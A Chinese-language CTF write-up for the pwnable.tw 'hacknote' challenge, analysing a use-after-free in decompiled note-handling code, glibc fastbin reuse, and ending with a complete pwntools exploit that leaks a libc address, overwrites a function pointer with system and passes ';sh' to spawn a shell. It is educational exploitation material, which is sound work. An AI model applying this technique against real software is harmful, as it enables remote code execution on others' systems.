美文网首页CTF Re&&Pwn
【CTF-PWN】pwnable.tw_hacknote

【CTF-PWN】pwnable.tw_hacknote

作者: Kirin_say | 来源:发表于2018-06-29 16:02 被阅读83次

pwnable.tw_challenge_hacknote

打开程序
查看功能:

./hacknote
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :

这里可以增加删除打印note信息
载入IDA分析:

0x01 add_note

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = putnote;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

可以看到这里malloc了一个结构体:

struct note{
*putnote;   //指向用于输出note内容的函数( *(_DWORD *)ptr[i] = putnote;)
*text;   //指向note对应的内容(read(0, *((void **)ptr[i] + 1), size);)
}

而后根据size再申请新的空间:

 v0 = ptr[i];
 v0[1] = malloc(size);//申请存储note内容的地址

0x02 print_note

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

可以看到这里调用结构体第一个位置的地址所指的函数
参数就是结构体本身

0x03 delete_note

unsigned int delete_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

可以看到这里只是用free释放
但没有将指针置空为NULL
产生一个迷途指针
这里便可利用这个指针来造成堆溢出来获得shell

0x04 malloc分配机制

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

SIZE_SZ:

sizeof(size_t)   //32位->4字节,64位->8字节

MINSIZE:

#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

MIN_CHUNK_SIZE为一个chunk结构体的大小:为16字节(32位,64位为32)

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

MALLOC_ALIGNMENT为2*SIZE_SZ
MALLOC_ALIGN_MASK 为2*SIZE_SZ-1
由此即可通过最开始的request2size(req) 计算出系统分配出的内存大小

例如,32位时:
MINSIZE:(16+2*4-1)&~(2*4-1)=16
申请字节:
1-4字节:(req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE
系统分配:
MINSIZE=16字节
申请字节:
5-12字节:(req) + SIZE_SZ + MALLOC_ALIGN_MASK >=MINSIZE
系统分配:
(req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=16字节
申请字节:
13字节
系统分配:
(req) + SIZE_SZ + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK=24字节
//可以看到分配相邻上下大小之差为系统指针大小(32位8字节,64位16字节)

又因fastbin采用LIFO原则(其会在空表从后往前寻找首先合适的堆块)
故而我们需要先申请两个note
再利用delete制造迷途指针并利用堆溢出覆盖堆中数据从而拿到shell

0x05 漏洞利用

首先看到:

(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);

当我们print_note时,会调用结构体中第一个地址指向的函数
函数参数就是结构体自身
我们需要溢出覆盖掉一个之前申请过的结构体
将结构体第一个函数地址修改(获得shell,需要覆盖为system的地址)
而一个结构体16个字节,system的参数即为结构体本身
这里需要使用system的参数截断
例如使用:

"||sh"或者";sh"

这里可以利用malloc的分配机制
首先申请两个note,长度>12(例,申请16字节)
这时候堆内:

16->24->16->24

而后使用delete_note来free这4个空间
当我们再次add_note一个16字节的note时
根据fastbin的LIFO原则
从后往前第一个满足的空间便是第一个空间(第三个空间处覆盖为结构体)
即:note的文本内容会修改原本0号结构体
如果我们修改结构体中*text内容为.got.plt中的一个地址
那么print_note第0号即会打印出函数加载后的真实地址
再根据其在libc库中的偏移求出程序加载动态库的基址
进而计算出system函数地址
再继续修改一次结构体数据为system的地址(参数截断上面已说明)
重新print_note来调用修改后结构体中地址对应的system函数
进而获取shell

0x06 EXP

from pwn import *

def add_note(size,content):
      p.recvuntil("choice :")
      p.sendline("1")
      p.recvuntil("size :")
      p.sendline(size)
      p.recvuntil("Content :")
      p.sendline(content)

def delete_note(index):
      p.recvuntil("choice :")
      p.sendline("2")
      p.recvuntil("Index :")
      p.sendline(index)

def print_note(index):
      p.recvuntil("choice :")
      p.sendline("3")
      p.recvuntil("Index :")
      p.sendline(index)

p=remote("chall.pwnable.tw", 10102)
elf=ELF("./hacknote")
elib=ELF("./libc_32.so.6")
read_got=elf.got["read"]
putnote=0x804862b
add_note("16",15*"a")
add_note("16",15*"a")
delete_note('0')
delete_note('1')
add_note('8',p32(putnote)+p32(read_got))
print_note('0')
read_addr=u32(p.recv()[:4])
sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
delete_note('2')
add_note('8',p32(sys_addr)+";sh\x00")
print_note('0')
p.interactive()

相关文章

网友评论

    本文标题:【CTF-PWN】pwnable.tw_hacknote

    本文链接:https://www.haomeiwen.com/subject/cpwvsftx.html